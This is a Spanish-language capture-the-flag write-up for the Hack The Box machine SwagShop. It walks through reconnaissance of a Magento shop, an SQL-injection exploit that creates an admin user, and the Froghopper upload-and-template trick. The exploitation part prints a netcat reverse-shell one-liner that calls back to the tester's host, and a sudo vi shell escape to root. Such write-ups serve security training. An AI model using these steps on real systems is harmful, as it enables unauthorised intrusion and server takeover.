Published using Google Docs
Hack The Box - SwagShop
Updated automatically every 5 minutes

Hack The Box - SwagShop

hackthebox.com - Acceso VIP - 10.10.10.140

Por artp3r - (Rules: OSCP)

Idioma: 🇪🇸

Objetivo: https://app.hackthebox.com/machines/SwagShop

Herramientas

Reconocimiento

nmap - TCP SYN port scan

sudo nmap -sS -p- --open -n -Pn -vvv --min-rate 5000 -oA allPorts 10.10.10.140

Starting Nmap 7.92 ( https://nmap.org ) at 2023-06-11 09:15 EDT

Initiating SYN Stealth Scan at 09:15

Scanning 10.10.10.140 [65535 ports]

Discovered open port 22/tcp on 10.10.10.140

Discovered open port 80/tcp on 10.10.10.140

Completed SYN Stealth Scan at 09:15, 12.61s elapsed (65535 total ports)

Nmap scan report for 10.10.10.140

Host is up, received user-set (0.069s latency).

Scanned at 2023-06-11 09:15:39 EDT for 13s

Not shown: 65533 closed tcp ports (reset)

PORT   STATE SERVICE REASON

22/tcp open  ssh     syn-ack ttl 63

80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap

Nmap done: 1 IP address (1 host up) scanned in 12.96 seconds

           Raw packets sent: 65585 (2.886MB) | Rcvd: 65585 (2.623MB)

extractPorts

Script para trabajar con los puertos del output grepeable de nmap.

https://s4vitar.github.io/bspwm-configuration-files/

Requires xclip packet.

sudo apt install xclip

Script que se añade al final de .zshrc

# Extract nmap information

function extractPorts(){

        ports="$(cat $1 | grep -oP '\d{1,5}/open' | awk '{print $1}' FS='/' | xargs | tr ' ' ',')"

        ip_address="$(cat $1 | grep -oP '\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}' | sort -u | head -n 1)"

        echo -e "\n[*] Extracting information...\n" > extractPorts.tmp

        echo -e "\t[*] IP Address: $ip_address"  >> extractPorts.tmp

        echo -e "\t[*] Open ports: $ports\n"  >> extractPorts.tmp

        echo $ports | tr -d '\n' | xclip -sel clip

        echo -e "[*] Ports copied to clipboard\n"  >> extractPorts.tmp

        cat extractPorts.tmp; rm extractPorts.tmp

}

Una vez incluído al final de .zshrc hay que reiniciar el terminal.

extractPorts allPorts

Y ya se pueden pegar desde el portapapeles directamente los puertos en el siguiente scan de nmap.

nmap - Scan de puertos enumerados, servicios, scripts básicos y versiones

nmap -sCV -p 22,80 -oN targeted 10.10.11.211

Starting Nmap 7.92 ( https://nmap.org ) at 2023-06-11 09:23 EDT

Nmap scan report for 10.10.10.140

Host is up (0.052s latency).

PORT   STATE SERVICE VERSION

22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

|   2048 b6:55:2b:d2:4e:8f:a3:81:72:61:37:9a:12:f6:24:ec (RSA)

|   256 2e:30:00:7a:92:f0:89:30:59:c1:77:56:ad:51:c0:ba (ECDSA)

|_  256 4c:50:d5:f2:70:c5:fd:c4:b2:f0:bc:42:20:32:64:34 (ED25519)

80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))

|_http-title: Did not follow redirect to http://swagshop.htb/

|_http-server-header: Apache/2.4.18 (Ubuntu)

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 11.14 seconds

whatweb

whatweb http://10.10.10.140/

Antes hay que añadir la ip y el dominio indicado por nmap a /etc/hosts

http://10.10.10.140/ [302 Found] Apache[2.4.18], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.10.10.140], RedirectLocation[http://swagshop.htb/]

http://swagshop.htb/ [200 OK] Apache[2.4.18], Cookies[frontend], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], HttpOnly[frontend], IP[10.10.10.140], JQuery[1.10.2], Magento, Modernizr, Prototype, Script[text/javascript], Scriptaculous, Title[Home page], X-Frame-Options[SAMEORIGIN]

JQuery 1.10.2, versión antigua. Posible vulnerabilidad XSS (Prototype Pollution).

Firefox

http://swagshop.htb

http://swagshop.htb/index.php/

Fingerprint

wfuzz

wfuzz -c --hc=404 -t 50 -w /media/artp3r/ARTP3R/Herramientas/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt http://swagshop.htb/FUZZ

000000080:   301        9 L      28 W       312 Ch      "media"                                

…                

000000004:   200        327 L    904 W      16283 Ch    "#"                                    

000000638:   301        9 L      28 W       315 Ch      "includes"                              

000000721:   301        9 L      28 W       310 Ch      "lib"                                  

000000909:   301        9 L      28 W       310 Ch      "app"                                  

000000953:   301        9 L      28 W       309 Ch      "js"                                    

000001688:   301        9 L      28 W       312 Ch      "shell"                                

000001846:   301        9 L      28 W       311 Ch      "skin"                                  

000004703:   301        9 L      28 W       310 Ch      "var"                                  

000005708:   301        9 L      28 W       313 Ch      "errors"                                

000045240:   200        327 L    904 W      16283 Ch    "http://swagshop.htb/"                  

000049195:   200        54 L     155 W      1319 Ch     "mage"                                  

000095524:   403        11 L     32 W       300 Ch      "server-status"

http://swagshop.htb/shell/

https://github.com/OpenMage/magento-lts/tree/main/shell

Parece llamativo pero son ficheros de código normales de Magento.

Repito fuzzing para el subdirectorio index.php

wfuzz -c --hc=404 -t 50 -w /media/artp3r/ARTP3R/Herramientas/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt http://swagshop.htb/index.php/FUZZ

000000124:   200        327 L    904 W      16283 Ch    "0"                                    

000000227:   200        327 L    852 W      15290 Ch    "contacts"                              

000000242:   302        0 L      0 W        0 Ch        "catalog"                              

000000259:   200        51 L     211 W      3609 Ch     "admin"                                

000000286:   200        327 L    904 W      16281 Ch    "Home"                                  

000000685:   200        0 L      0 W        0 Ch        "core"                                  

000000715:   302        0 L      0 W        0 Ch        "install"                              

000000840:   200        327 L    904 W      16283 Ch    "cms"                                  

000001026:   200        7 L      13 W       361 Ch      "api"                                  

000001702:   302        0 L      0 W        0 Ch        "checkout"                              

000002202:   302        0 L      0 W        0 Ch        "wishlist"                              

000012158:   200        327 L    904 W      16281 Ch    "HOME"                                  

000014124:   200        371 L    1509 W     19491 Ch    "customer-service"                      

000018775:   503        42 L     137 W      1852 Ch     "registrazione"                        

000025992:   200        371 L    1509 W     19491 Ch    "Customer-Service"

Panel de administración

http://swagshop.htb/index.php/admin

Probadas credenciales por defecto admin:123123 y otras débiles.

Es posible escribir un fichero para hacer fuzzing en este panel pero primero es más sencillo buscar exploits.

searchsploit

searchsploit magento

searchsploit -m xml/webapps/37977.py

mv 37977.py exploit_rce_magento.py

Requiere editarlo, limpiar cadenas sin comentar y configurar parámetros para nuestra intrusión.

Aparentemente basa el exploit en una inyección SQL. Lo ejecutamos.

Da un error en la variable pfilter que se procesa como una cadena y necesita pasarse a bytes.

Después de hacer esta y otras correcciones funciona.

Y el usuario se ha creado aparentemente bien, por que nos permite el acceso desde el panel de seguridad.

The Froghopper Attack

Está bien documentado en internet con una simple búsqueda, por ejemplo:

https://www.foregenix.com/blog/anatomy-of-a-magento-attack-froghopper

Como en otros ataques LFI +RCE es necesario subir un fichero PHP malicioso camuflado como JPG o PNG. Desde el panel no se podrá renombrar luego a php pero existe una opción de hacerlo a través de la funcionalidad de Newsletters, que permite la creación mediante plantillas, que sí son interpretadas por Magento. Para ello requiere permitir los enlaces simbólicos. Esto se puede cambiar desde el panel.

Menú > System > Configuration > AVANCED (grupo) > Developers > Template Settings > Allow Symlinks = Yes

https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

Y para preparar el script en bash hay varios en pentest monkey, pero el que funciona es este:

php reverse shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.7 443 >/tmp/f

Desglose y explicación del one liner de bash por su interés. Lo remarco como líneas de comandos.

Ahora solo hay que hacer una copia como un jpg.

cp reverseshell.php reverseshell.php.jpg

Y para subirlo la opción más sencilla sería recurrir en el panel a las categorías, para las que se puede subir una imagen.

Menu > Catalog > Manage Categories

Nombre test111. Guardar categoría. Y ya tenemos el enlace a la imagen.

http://swagshop.htb/media/catalog/category/reverseshell.php.jpg

Según se puede leer en el artículo de Ewan Gardner, para interpretarlo se necesita utilizar el código del lector de plantillas.

Así que para que la vulnerabilidad funcione necesitamos crear una plantilla con este código y la ubicación del fichero malicioso que hemos subido.

Menú > Newsletter > Templates > [Add New Template]

Añadiendo al cuadro ‘Template Content’ nuestro código, procurando evitar el editor de texto, que de otra forma añadiría marcas y código innecesario que puede impedir la ejecución del payload.

{{block type=’core/template’ template=’../../../../../../media/catalog/category/reverseshell.php.jpg’}}

 Con comillas simples no funciona, quizá por que el editor las convierte, como aquí.

Y darle a guardar. Antes de darle a preview tenemos que abrir un Netcat a este lado.

netcat

nc -nvlp 443

Al darle a Preview en el editor de templates, previo guardado del código ya estamos dentro de la máquina a nivel sistema operativo.

Bash - tratamiento de la tty

Antes de seguir conviene hacer leves mejoras en el shell, para mayor estabilidad.
script /dev/null -c bash

[Ctrl + Z]

stty size

stty raw -echo; fg

reset xterm

export SHELL=bash && export TERM=xterm && stty rows 25 columns 105

Pivoting y escalada de privilegios

ls /home

cat /home/haris/user.txt

Comprobar privilegios

sudo -l

Vi es un editor de texto para terminal anterior al actual y más popular Vim. Se puede ejecutar sudo vi como root sin necesidad de identificarse en la carpeta raíz de la web. Por ejemplo:

sudo vi /var/www/html/pwn

Y en vi se puede aprovechar una característica con la que se puede ejecutar un binario introduciendo la ruta en una variable cualquiera con el comando set.

[Esc]

:set shell=/bin/bash

:shell

pwned